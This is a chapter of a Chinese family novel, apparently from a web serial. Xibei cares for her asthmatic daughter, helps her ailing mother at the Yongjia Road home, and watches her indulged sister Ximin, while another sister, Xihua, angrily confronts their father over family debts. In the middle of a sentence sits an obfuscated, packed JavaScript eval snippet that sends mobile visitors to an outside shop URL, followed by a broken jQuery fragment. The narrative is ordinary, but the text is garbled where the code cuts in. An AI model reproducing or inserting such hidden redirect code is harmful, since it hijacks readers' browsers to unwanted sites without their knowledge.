日子像一本被反复撕扯、又勉强粘连起来的日历，一页页翻过，每一页都浸染着龙华医院消毒水的味道和中药的苦涩。小悠悠出院了，但“出院”这两个字，在西贝的生活里失去了“结束”的意义，变成了一个漫长、反复的循环的起点。
家，成了另一个病房。体育馆二楼那间小小的一室户，窗台上晒着切片的梨子川贝——那是听来的止咳偏方；灶披间的炉子上，长年蹲着一个黑色的陶制药罐，“咕嘟咕嘟”地翻滚着黑褐色的汤汁，空气里弥漫着当归、黄芪、甘草混合的复杂气味，经久不散。甘英嵘一开始还抱怨“屋里都是药味，人都腌入味了”，后来也渐渐习惯，甚至能分辨出今天熬的是平喘的“小青龙汤”还是调理的“玉屏风散”。
哮喘像一个狡诈的敌人，不知何时会发动袭击。天气骤变，空气中飘过一缕杨絮，甚至小悠悠自己玩得太疯，都可能诱发一阵撕心裂肺的咳嗽，接着呼吸就变成拉风箱似的“嘶嘶”声，小脸憋得发紫。每当这时，西贝的心就像被一只冰冷的手攥紧，手忙脚乱地找出常备的氨茶碱或那罐越来越离不开的、像手枪似的“喘乐宁”气雾剂，对着女儿的口鼻按压。看着那小小身躯在药物作用下艰难地平复喘息，她后背的冷汗往往还没干。
医院的路，熟得闭着眼都能走。离家最近的有两家好医院：一家是以西医见长的中山医院，另一家是中西医结合的龙华医院。西贝跑得最多、最勤的，是龙华。原因很实际：近。抱着个喘不上气的孩子，哪怕能少走五分钟，都是好的。更深层的原因，或许连她自己都不愿深究——她总是对那一袋袋草药抱着一丝渺茫的期望，期望它们能“扶正固本”，从根子上拔除女儿的病根，而不仅仅是像西药那样，在发作时“镇压”下去。
于是，从体育馆到龙华医院儿科的那条路，她走过清晨的薄雾，正午的烈日，深夜的星光。她熟悉急诊室哪个角落人少通风，熟悉药房哪个老药师抓药最准，熟悉注射室哪个护士阿姨打针时哄孩子最有耐心，也熟悉候诊区长椅上那些和她一样，脸上写着焦虑、疲惫和某种同病相怜神情的家长们。她的挎包里，女儿的奶粉、尿布旁边，永远放着病历本、应急的平喘药、和一本卷了边的《常见儿科疾病护理》。
西贝在厂里的师傅还有当年几个要好的师兄弟们，虽都已成家，但对西贝这个昔日厂花、如今被生活磨砺得坚韧又憔悴的小师妹，始终存着一份怜惜。他们知道悠悠身体不好，有时弄到什么稀罕的奶粉、营养品票证，会悄悄塞给西贝。路上遇到她抱着孩子看病回来，总会停下自行车带上一段，关切地问上几句。
难得的、不跑医院的周末午后，成了西贝生活中偷来的、却总带着一丝恍惚的静谧。
阳光好的时候，她会把女儿安顿在窗下那片最暖和的阳光里。汪劲松--西贝单位里那个以前追求过西贝的，现在也成家了的退伍技工，听说了小悠悠的情况，用厂里的废木料，给悠悠做了一个矮矮的、没有毛刺的小板凳，还有几个磨得光溜溜的圆木块，算是玩具。西贝就坐在一旁的小竹椅上，手里或许是一件需要缝扣子的工装，或许是悠悠一件穿小了的、袖口磨破的毛衣，准备拆了改个背心。针线在她指间穿梭，眼神却常常飘向窗外，定格在远处楼房屋顶上盘旋的鸽群，或者更虚无的某一点，半天没有动一下。
她会愣神。
愣神的时候，时光仿佛倒流，褪了色，却又带着毛茸茸的边缘。她看见的不是体育馆灰扑扑的楼房，而是小学那个尘土飞扬的煤渣跑道。她穿着打补丁的裤衩和洗得发硬的背心，像一匹脱缰的小野马，在体育老师尖锐的哨音中冲刺，耳边是呼呼的风声和自己粗重的喘息，还有终点线同学模糊的欢呼。体育老师，那个黑红脸膛的东北汉子，拍着她瘦削却紧绷的肩膀，嗓门洪亮：“西贝！好样的！这爆发力，练短跑，是块料子！就是耐力差点，营养跟不上！”
短跑……耐力……她曾无数次偷偷幻想，如果自己生在一个吃饱穿暖、有条件的人家，是不是真的能成为运动员？那该是多么畅快的人生，用尽全身力气，朝着一条清晰的线奔跑，耳边只有风声和心跳。她又下意识地、近乎贪婪地幻想，如果……如果她的悠悠，能有一个健康的身体，是不是也可以？女儿继承了甘英嵘的身高骨架，腿似乎也不短……是不是也能在阳光下奔跑、跳跃，挥洒汗水，而不是被禁锢在药罐子和喘息声里？
思绪飘得更散，更私人。是学校那间总是光线不足、充满灰尘和旧纸张气味的广播站吗？好像是的。她是被临时拉去帮忙念一篇“学习雷锋”的稿子，因为她的普通话相对标准（在上海孩子里面）。对着那只冰冷的、刷着绿漆的麦克风，她紧张得手心冒汗，声音发颤，但念着念着，竟也生出一种奇异的、仿佛被很多人聆听的庄严感。还是厂里那个简陋的礼堂后台？工会组织文艺汇演，她是舞蹈主跳，但同时也帮忙递道具、拉幕布。随着《红色娘子军》的旋律跳跃旋转，她的四肢及脚尖跟随旋律轻轻点地，每个动作都是下班后汗水学习后换来的，毕竟不是专业舞蹈出生，但她悟性非常高，心里渴望文艺的欲望在悄悄骚动。后来，厂里慰问文工团来演出，有个和善的女舞蹈演员休息时，见她看得出神，竟笑着拉她过来，教了她几个专业的芭蕾动作。她跟着比划，手指虽没那么僵硬，但心里却开出一朵无人看见的小花。
那是属于“西贝”的、极其隐秘的、关于“美”、“韵律”和“表达”的模糊向往。像石缝里挣扎出的一星苔花，从未见过天日，却真实地存在过。怀孕时，身体日益沉重，心情复杂难言，她抚摸着高高隆起的腹部，在无数个失眠的夜里，也曾做过最虚妄、最温柔的梦：将来，不管生男生女，一定要让他/她……学点什么。学唱歌？嗓子要亮。学跳舞？身条要顺。再不济，学样乐器，笛子也好，手风琴也罢……把她心里那些没能发芽、甚至没敢说出口的种子，小心翼翼地埋进孩子的生命里，默默浇水，期待着有一天，能开出她未曾见过的花。
“妈……妈……呜……”
一声细细的、带着明显鼻塞和委屈的哼唧，像一根看不见的丝线，温柔又坚决地将西贝从那些纷乱遥远的思绪中猛地拽了回来。
她激灵一下，回过神来。只见悠悠不知何时从阳光里爬开了，大概是试图去够滚到远处的木块，没坐稳，歪倒在冰凉的水泥地上，倒也没摔疼，只是被这突如其来的失衡吓到了，扁着小嘴，小眼睛里迅速蓄起两泡泪，要掉不掉，一只小手朝她伸着。
所有的遐想，如同被针戳破的梦境，瞬间消散，无影无踪。心头先是一紧，随即涌上的是潮水般的疼惜，和一丝迅速掠过、快得抓不住的、对自己的淡淡嘲讽。运动员？文艺骨干？眼下，她的悠悠能一夜安睡不被咳醒，能顺利吃完半碗蛋黄羹不吐，能在天气好的时候被她抱下楼晒十分钟太阳而不喘，就是菩萨保佑，就是她全部的心愿。那些关于“培养”和“将来”的蓝图，在“健康”这块岌岌可危的基石面前，脆弱得像一张浸了水的草纸，轻轻一碰，就糊成了一团，什么也看不清了。
她连忙放下手里的活计，也顾不得腰酸，快速起身，几步过去，小心翼翼地将女儿从地上抱起来，搂在怀里，轻轻拍着她的背，嘴里哼起那首不知从哪儿听来、调子早已哼熟却总也记不全词的催眠曲：“风不吹，树不摇，鸟儿也不叫……” 声音低低的，软软的，是只给怀中这个小生命听的频率。
甘英嵘如果在家，看到这一幕，可能会说：“又发呆？想什么呢？” 西贝总是摇摇头，简短地回答：“没什么。” 那些关于奔跑和舞蹈的碎片，关于音乐和舞台的微光，被她妥帖地、深深地埋回心底最角落的尘埃里，仿佛从未泛起过。
________________________________________
永嘉路，那套三室户的房子里，则是另一番天地，热闹，喧腾，充满了一种让西贝感到熟悉又疏离的、属于“大家庭”的旺盛生命力，同时也交织着更复杂微妙的人情冷暖。
孙兰成了这个家的实际“总管”和两个外孙女的“贴身保姆”。西桦的女儿蕾蕾，两岁多了，继承了父母的清秀书卷气，小脸白白净净，性子安静，喜欢自己摆弄积木或看小画书，像个乖巧的小大人。西敏的女儿璐璐，三岁多，正是精力无限、探索世界、并且自我意识飞速膨胀的年纪。这个小姑娘简直是老天爷偏心眼的杰作——完全挑着父母优点长。眉毛弯弯如新月，眼睛大而明亮，睫毛浓密卷翘，像两把小扇子，虽然鼻头大了点，但鼻梁挺秀，小嘴巴红润润的，皮肤白里透红。抱出去，人人夸“像个小洋囡囡”、“画报里走出来的”。她不仅长得漂亮，脑子也活络，小嘴甜得像抹了蜜，但三岁看老，那股被全家（尤其是她父母）无底线宠溺娇惯出来的任性、自我中心，也已经初露端倪。她懂得看人脸色，知道在谁面前撒娇有用，在谁面前要“装乖”。
西贝带着悠悠回永嘉路，次数并不频繁，但每次回去，心情都像坐过山车。一方面，那是“娘家”，是血脉的根，有一种无形的牵拉；另一方面，那更像是一个需要她付出额外精力的“责任场”。孙兰的身体，自从几年前大病一场，就再也没真正缓过来，总是隔三差五地胸闷、头晕、咳嗽。一个人要照看两个正是闹腾年纪的外孙女，常常力不从心。电话打到西贝单位或家里，语气里那份掩饰不住的疲惫和隐隐的恳求，让西贝无论如何也说不出拒绝的话。
于是，本就不多的周日休息，常常是这样开始的：天不亮，先观察悠悠的呼吸是否平稳，摸摸额头是否发热。确定暂时无碍，才能赶紧起身，收拾自己，给悠悠穿戴整齐，喂药，冲好奶粉装在保温杯里，再带上备用的尿布、衣服、药品……收拾出一个鼓鼓囊囊的大包。然后抱着女儿，出门，汇入周日清晨相对稀疏、却依然拥挤的公交人流。从体育馆到永嘉路，晃晃悠悠将近一个小时。怀里抱着越来越沉的女儿，还要护着背包，在弥漫着各种气味的车厢里艰难保持平衡。悠悠若状态好，还能好奇地张望；若不巧路上颠簸或空气不好引发咳嗽，西贝的心就得一直提着。下车后，还有将近二十分钟的路要走。常常是走到永嘉路弄堂口，她已是一身薄汗，手臂酸麻，怀里的悠悠也常常因为这番折腾而小脸发白，精神萎靡。
一踏进永嘉路家门，扑面而来的常常是混杂着饭菜香、孩子叫嚷、收音机戏曲声的热浪，和一种无形的、忙碌的压力。
“西贝来了？快进来快进来！” 孙兰系着围裙，手里可能还拿着锅铲，从厨房探出头，语速快得像开连珠炮，“正好！把悠悠放我床上，蕾蕾在里头玩。你去厨房看看砂锅里的鸡汤，别让汤溢出来扑灭了火！璐璐！跟你讲过多少遍了，不要在房间里跑来跑去！撞到小妹妹怎么办？！”
西贝喘匀了气，先把背上怀里的大包小包卸下，然后抱着悠悠走进父母那间朝南的、光线最好的大卧室。蕾蕾果然安静地坐在床角，玩着一盒彩色蜡笔，看见西贝，小声叫了句“大阿姨”。西贝对她笑笑，小心地把悠悠放在大床中央。悠悠才不到一岁，独坐不太稳当，喜欢后仰。西贝熟练地从床里侧拉过两床叠好的、柔软的棉花被，在女儿背后和两侧仔细垫好，围成一个安全的“窝”，又拿出一个洗干净的小摇铃，塞进悠悠手里。
“璐璐，” 西贝直起身，对不知何时蹭到床边、正好奇地探头探脑、手指头还想戳戳妹妹脸的璐璐招招手。璐璐跑过来，仰起那张漂亮得不像话的小脸看着西贝。“大阿姨要去帮外婆做饭，忙一会儿。” 西贝蹲下来，让自己的视线和她齐平，声音放得轻柔但认真，“你帮大阿姨一个忙，在这里看着妹妹，好不好？你是小姐姐，最厉害了。要是妹妹坐不住，‘倒’了，” 她用手比划了一个歪倒的动作，“你就赶紧跑到厨房来告诉大阿姨，好不好？”
璐璐眨巴着那双洋娃娃似的大眼睛，长长的睫毛像蝴蝶翅膀般忽闪，她看看床上软乎乎、咬着摇铃的妹妹，又看看西贝，似乎在消化这个“任务”，然后很郑重地点了点小脑袋，用小奶音清晰又糯软地回答：“好。璐璐看妹妹。妹妹倒，璐璐叫大阿姨。”
“真乖，真能干。” 西贝笑着摸了摸她细软微卷的头发，心里稍稍松了口气，赶紧转身去了厨房。
厨房里，战况正酣。孙兰在剁一块五花肉，准备做红烧肉，灶上炖着鸡汤，另一个炉子上蒸着鱼，水汽弥漫。她脸色有些疲惫的蜡黄，额角有汗，时不时掩嘴低咳两声。“来了？正好，把这青菜摘了洗了。哎，璐璐这孩子，一会儿要喝水，一会儿要找那块什么蝴蝶结的手帕，蕾蕾倒是乖，就是太静了，也不见长肉……你爸一早就被以前党校的老同事叫走了，说是有什么政策要学习讨论，午饭不回来吃了……” 孙兰一边忙活，一边絮絮地说着，这些话与其说是交流，不如说是一种情绪宣泄，家里大大小小的事，似乎都要通过这种方式流淌出来，才能让她稍微轻松点。
“西敏请的阿姨呢？”
“又回去乡下了，说是家里孩子需要人照顾，可能不会回来了，你小妹正在找其他保姆，但短期一时半会还找不到”
西贝沉默地接过青菜，蹲在垃圾桶旁摘起来。耳朵却像警觉的兔子，高高竖起，留心着卧室方向的任何动静。摘了没几根，果然，一阵“哒哒哒”的、急促的小碎步由远及近，快速而清脆地敲击着客堂间的水磨石地面，直奔厨房而来。
西贝的心下意识提了一下。一只热乎乎、肉嘟嘟的小手已经拉住了她的裤腿。她低头，璐璐跑得小脸红扑扑，仰着漂亮的小脸，大眼睛里写满了“完成任务等待检阅”的认真，用小肉手指着卧室方向，字正腔圆、奶声奶气地汇报道：“大阿姨，妹妹，倒了。”
西贝心里一紧，也顾不得满手菜叶泥，立刻起身，在围裙上胡乱擦了两下，几步就冲回卧室。只见悠悠果然从那个“被窝堡垒”里滑了出来，侧躺在宽敞的床上，倒也没摔着或哭，只是似乎对自己突然改变了姿势有点茫然，睁着乌溜溜的小眼睛，无焦距地看着天花板上的吊灯，小手里还紧紧攥着那个摇铃。
西贝悬着的心瞬间落回实处，长长舒了口气。她上前，温柔地把女儿抱起来，检查了一下，确认无恙，重新在她背后垫好被子，又亲了亲她柔嫩的脸颊，低声哄了哄。然后，她转身，对亦步亦趋跟过来、正眨巴着大眼睛观察的璐璐，露出一个真心实意、带着赞许的笑容，柔声说：“谢谢璐璐！真棒！报告得很及时！妹妹没事，是坐累了滑倒了。璐璐是合格的小哨兵！去看电视吧，动画片好像开始了。”
璐璐得了表扬，大眼睛弯成了月牙，小脸上绽开一个灿烂又带着点小得意的笑容，脆生生地应了声“嗯！”，转身又“哒哒哒”地跑向了客堂间，嘴里还喊着“外婆！我看电视！”
孙兰在厨房门口，一边翻炒着锅里的红烧肉，一边看着这一幕，叹了口气，声音不高，却足够让西贝听见：“璐璐是聪明，模样也生得好，就是……被她妈惯得没个样儿了。你看看她那些衣裳、玩具，堆了半间屋！三岁的小人，电子琴都买上了！还是什么卡西欧的，说是进口的，贵得吓死人！西敏说要从小培养什么……艺术细胞！哼，我看就是烧钱，图个新鲜！小孩子懂什么艺术？还不是大人虚荣！”
孙兰的抱怨里，夹杂着对西敏生活方式的不认同，对那种毫无节制的、炫耀性消费的不解，或许，也有一丝不易察觉的、复杂的情绪——是对另外两个女儿（特别是西贝）无法给予孩子同样物质条件的淡淡亏欠？还是对西敏只知索取、不懂反哺的埋怨？或许兼而有之。这话，她也只敢在西贝面前嘀咕几句。
西贝默默听着，重新回到厨房水池边洗菜。冰凉的自来水冲过手指，带走了一些烦躁。她没接话。她能说什么呢？说西敏不该那么花钱？她没有立场。说羡慕？那更不是她的性格。她只是清晰地感觉到，自己和妹妹西敏，已经生活在两个截然不同的世界了。那个世界的阳光，似乎格外耀眼，也格外灼人。
西敏的日子，确实是永嘉路这个“大本营”里，最“逍遥”、最“摩登”、也最“不接地气”的风景。韩杰的生意，乘着改革开放的东风，像滚雪球一样越做越大，早已不是当年那个需要算计着用粮票换鸡蛋的小商贩。他倒腾服装，涉足小电器，听说最近还在跟人谈什么“承包”项目。钱像流水一样涌进来，花起来自然也格外痛快。西敏仿佛天生就知道如何享受这时代馈赠的蜜糖。她的衣柜里挂满了广州、深圳最新款的连衣裙、西装套裙，料子笔挺，颜色鲜艳；梳妆台上摆着友谊雪花膏、雅霜，还有托人从上海华侨商店买的、包装精美的进口面霜和口红；她甚至早早做起了水晶指甲，十个手指头点缀着亮片或小巧的装饰，在阳光下闪闪发光。她保养得极好，皮肤白皙紧致，身材苗条，穿着时髦，看起来比实际年龄年轻了至少五六岁。当她偶尔和衣着朴素、眉宇间带着挥不去倦色的西贝站在一起时，不像是姐妹，倒像是两代人。
她对家庭的“奉献”，几乎只体现在每周或隔周一次、雷打不动的家庭聚餐上。而且，仅限于“掌勺”这一环节。她确实在烹饪上有些无师自通的天赋，烧的菜浓油赤酱，色香味俱全，尤其是一道红烧肉和一道清蒸鱼，很对父亲西林的口味。但她的“下厨”，是颇有仪式感和“架子”的。葱姜蒜要孙兰或西贝提前备好，码得整整齐齐；油盐酱醋要放在她顺手的位置；炒完菜，锅铲一放，围着绣花边的漂亮围裙一解，绝不会再碰一下水龙头。美其名曰：“我做了饭，就不洗碗了，保护手。” 那双做了精致水晶指甲的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621381|206185||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，确实不适合浸在油腻的洗碗水里。
吃完饭，她常常是碗筷一推，拉着女儿璐璐：“走，宝贝，妈妈带你去少年宫，下午有钢琴课，陈老师等着呢。” 或者，“爸爸托人从广州给你带了条新裙子，还有会眨眼睛的洋娃娃，回去试试。” 母女俩打扮得漂漂亮亮，在一家人还没吃完水果的时候，就翩然离去，留下一桌狼藉和空气中淡淡的香水味。
她对娘家的付出，除了这顿聚餐和给女儿买那些令人咋舌的昂贵玩具衣物，几乎看不见。给身体不好的母亲买点像样的营养品？给操劳的父亲买双舒服的鞋子？补贴一下总是捉襟见肘的家用？或者哪怕只是给帮自己带孩子的母亲一些实质性的酬劳？这些念头，似乎很少出现在她那被物质和丈夫宠爱填满的脑海里。她心安理得地享受着父母提供的、免费且尽心的“育儿服务”，享受着姐姐弟弟时不时的帮衬，却觉得这一切理所当然。她的世界，是韩杰用金钱和关系构筑起来的、光鲜亮丽又带着些许虚浮的城堡。城堡里，她和女儿璐璐是备受呵护的公主，城堡外的风雨和琐碎，自然有“别人”去遮挡和承担。
与西敏的“逍遥”形成微妙镜像和对比的，是远在千里之外北京的二妹西桦。
西桦和易德，像两颗被投入时代洪流核心的、高速运转的铆钉，在国家级新闻单位的庞大机器上，精准而拼命地发挥着作用。西桦的播音业务日益精进，声音愈发沉稳大气，开始从一般的广播新闻播报，向更重要的专题节目、甚至是一些涉外稿件的播报发展；易德则深入社会肌理，他的调查报道常常触及敏感而深刻的社会问题，笔锋犀利，见解独到，在业内渐渐有了名气。他们忙，是真忙，熬夜加班、随时待命是家常便饭；累，也是真累，精神压力巨大。但他们充实，充满了一种投身于大时代、亲眼见证并参与历史进程的激情与自豪感。他们的才华和努力，也确实获得了单位的认可和重用，上升的通道虽然狭窄，但似乎已为他们打开了一丝缝隙。
西桦对上海的这个“大家”，感情和责任远比西敏复杂深刻。她定期给孙兰汇款，频率稳定，数额在当时的工资水平来看，相当可观。这笔钱，一部分是明确支付给母亲，作为照顾蕾蕾的“辛苦费”和孩子的“生活费”。她在信里会仔细叮嘱：妈，这钱您别省，该给蕾蕾买奶粉买奶粉，该添衣服添衣服，您自己也买点好吃的，别总吃剩菜。她希望女儿虽然不在身边，但能在上海得到尽可能好的物质照料。
另一部分，或者说那多出来的、没有明说的金额，则是她对父母，尤其是对那个永远理不清的“家庭债务”的无声支援。她太清楚了，父亲西林那“长子”的包袱有多重，山东老家那些剪不断理还乱的人情债、经济债，就像个无底洞。母亲孙兰在电话里，时常会欲言又止，语调发愁地提及“这个月开销又紧了”、“你爸那边……唉……”。西桦心疼母亲夹在中间的为难，经济必然拮据的困境。所以，她总是尽可能多地寄一些，仿佛多寄一点，就能减轻一点母亲的愁容，就能把这个总是处于经济危机边缘的家，往回拉一点。
然而，人的承受力，无论是经济上还是情感上，终究是有极限的。那根绷得太久的弦，终于在一个深秋的傍晚，断裂了。
那天，西桦刚刚结束一场重大政治会议的同声传译备播工作，精神高度紧张后的虚脱感还未散去，嗓子因为长时间保持最佳状态而隐隐作痛。她拖着疲惫的身子回到狭小的单位宿舍，还没来得及喝口水，床头的电话就刺耳地响了起来。
是父亲西林。电话那头的声音，比往常更加低沉，带着一种刻意压抑的沉重和疲惫。他先是惯例地问了问她和易德的工作、身体，问了问蕾蕾在北京好不好（虽然蕾蕾在上海），然后，话锋难以察觉地一转，语气变得更加艰涩：
“……桦桦，有件事……爸实在不知道该怎么开口。你山东老家的大伯，你记得吧？对，就是那个小时候抱过你的……他家的老三，你堂哥，在建筑队干活，从架子上摔下来了，腿断了，腰也伤了，工地那边扯皮，不肯赔全……手术要一大笔钱，后续治疗更是没数。你大伯一把年纪，跪在我面前老泪纵横……我……我这心里……你知道，我是长子，家里出了这么大的事，我不能眼看着不管……可眼下，家里的情况你也知道，你姐那边，悠悠的病就是个无底洞，你妈身体也不好……爸实在没办法了，你看……你和易德那边，能不能……先挪一点，应应急？这钱，算爸借的，以后……”
“以后？什么以后？！” 西桦听着父亲那套熟悉得令人心痛的说辞，听着他语气里那份沉重的、“长子责任”带来的道德枷锁，再看看自己这间除了书和资料几乎一无所有的陋室，想想自己和易德为了将来能把蕾蕾接来、为了能有个真正属于自己的小窝而一分一厘攒下的、那点可怜的积蓄，一股压抑了太久太久的怒火、委屈、以及深切的无力感，像火山岩浆般猛地冲破了理智的堤防。
“爸！” 她猛地打断了西林的话，声音因为激动、疲惫和长期用嗓而异常沙哑，甚至有些尖锐，那字正腔圆的普通话里，再也压抑不住汹涌的情绪，“您能不能先告诉我，咱们家，您到底在外面欠了多少钱？！您给我，给这个家，一个准数，行不行？！是，您是长子，山东老家是您的根，那些叔伯兄弟是您的血脉至亲！可我和易德呢？大姐和悠悠呢？妈和蕾蕾呢？我们就不是您的至亲了吗？！我们这个家，就不是家了吗？！”
她的声音越来越高，带着哭腔，眼泪不争气地涌了上来，视线一片模糊。
“我和易德在北京，是不容易！我们住的是宿舍，吃的是食堂，为了赶稿子采访，几天几夜不睡觉是常事！我们也有蕾蕾，我们也想给她好一点的生活，我们也想有个不用跟人合用的厨房厕所！妈身体一天不如一天，您看不见吗？大姐一个人带着悠悠，孩子三天两头进医院，她有多难您问过吗？是，您要顾大家，可您的小家，已经被拖垮了！拖得快要散架了！”
她深吸一口气，用力抹去脸上的泪水，对着话筒，一字一句，近乎决绝地说：
“您这次，要多少？行，我想办法。就算我去借，我也给您凑上。但是，爸，您听好了——” 她的声音因极致的情绪而微微发抖，却异常清晰、冰冷，“这是最后一次。我不管您是欠了山东老家，还是别的什么地方，您给我一个总数。我想办法，一次性，给您解决干净。从此以后，您那些姐妹兄弟子侄，是死是活，是富贵是落魄，都别再找您，更别再通过您来找我！他们都有手有脚，不是离了您就活不下去！咱们这个家，再也经不起这么折腾了！我也再也，没有下一个‘最后一次’可以给了！”
电话那头，是长久的、死一般的沉默。西林甚至没有试图辩解，只是呼吸声粗重而压抑，仿佛透过电话线，都能感受到他那份被女儿尖锐话语刺中的震动、难堪，以及或许深藏的、无言以对的痛楚。
西桦说完，不等父亲有任何反应，用尽全身力气，“啪”地一声，狠狠挂断了电话。听筒砸在话机上，发出沉闷的响声。她握着电话的手，连同整个手臂，都在无法控制地剧烈颤抖。她没有放声大哭，只是颓然瘫坐在冰冷的折叠椅上，肩膀垮了下去，脸埋进掌心，滚烫的泪水从指缝间汹涌而出。那不是委屈的泪，是一种彻骨的无力，是对父亲那永远倾斜的“责任感”的悲愤，是对这个家像个流血不止的伤口般的痛心，更是对自己不得不如此冷酷、如此“不孝”的、深深的悲哀和绝望。
不知过了多久，窗外的天色完全黑透，宿舍楼里亮起零星灯火。远处，是北京城浩瀚的、望不到边的灯光之海。每一个亮着的窗户后面，大概都有一本难念的经，都有一地需要收拾的鸡毛。她想起童年时那个总是生病、被父母格外呵护的自己，想起沉默寡言、却扛起生活所有重压的大姐，想起任性自我、活得张扬恣意的小妹，想起日渐衰老、在丈夫和儿女间艰难平衡、心力交瘁的母亲，还有那个永远挺直脊梁、把“责任”和“家族”扛在肩上、却让最亲近的小家风雨飘摇的父亲……
永嘉路喧腾的厨房，体育馆二楼弥漫药味的小窗，北京狭小寂静的单身宿舍……鸡零狗碎的生活，像一张无边无际的、用各种丝线胡乱编织成的网。丝线是不同的材质：有病痛，有金钱，有还不完的债务，有偏斜的责任，有隔阂的关爱，有自私的逍遥，也有不甘的奋斗……每个人都被缠裹其中，挣扎，喘息，被勒出深深浅浅的痕，也被迫长出或柔软或坚硬的茧。而生活，这台永不谢幕的戏剧，就在这南腔北调（孙兰带着咳嗽的唠叨、西林沉重的山东口音、西贝的沉默、西敏娇嗔的普通话、璐璐奶声奶气的“报告”、蕾蕾安静的呼吸，以及电话里西桦那带着哭腔的、冰冷的决绝）的嘈杂合奏中，继续轰隆隆地、不由分说地向前滚动。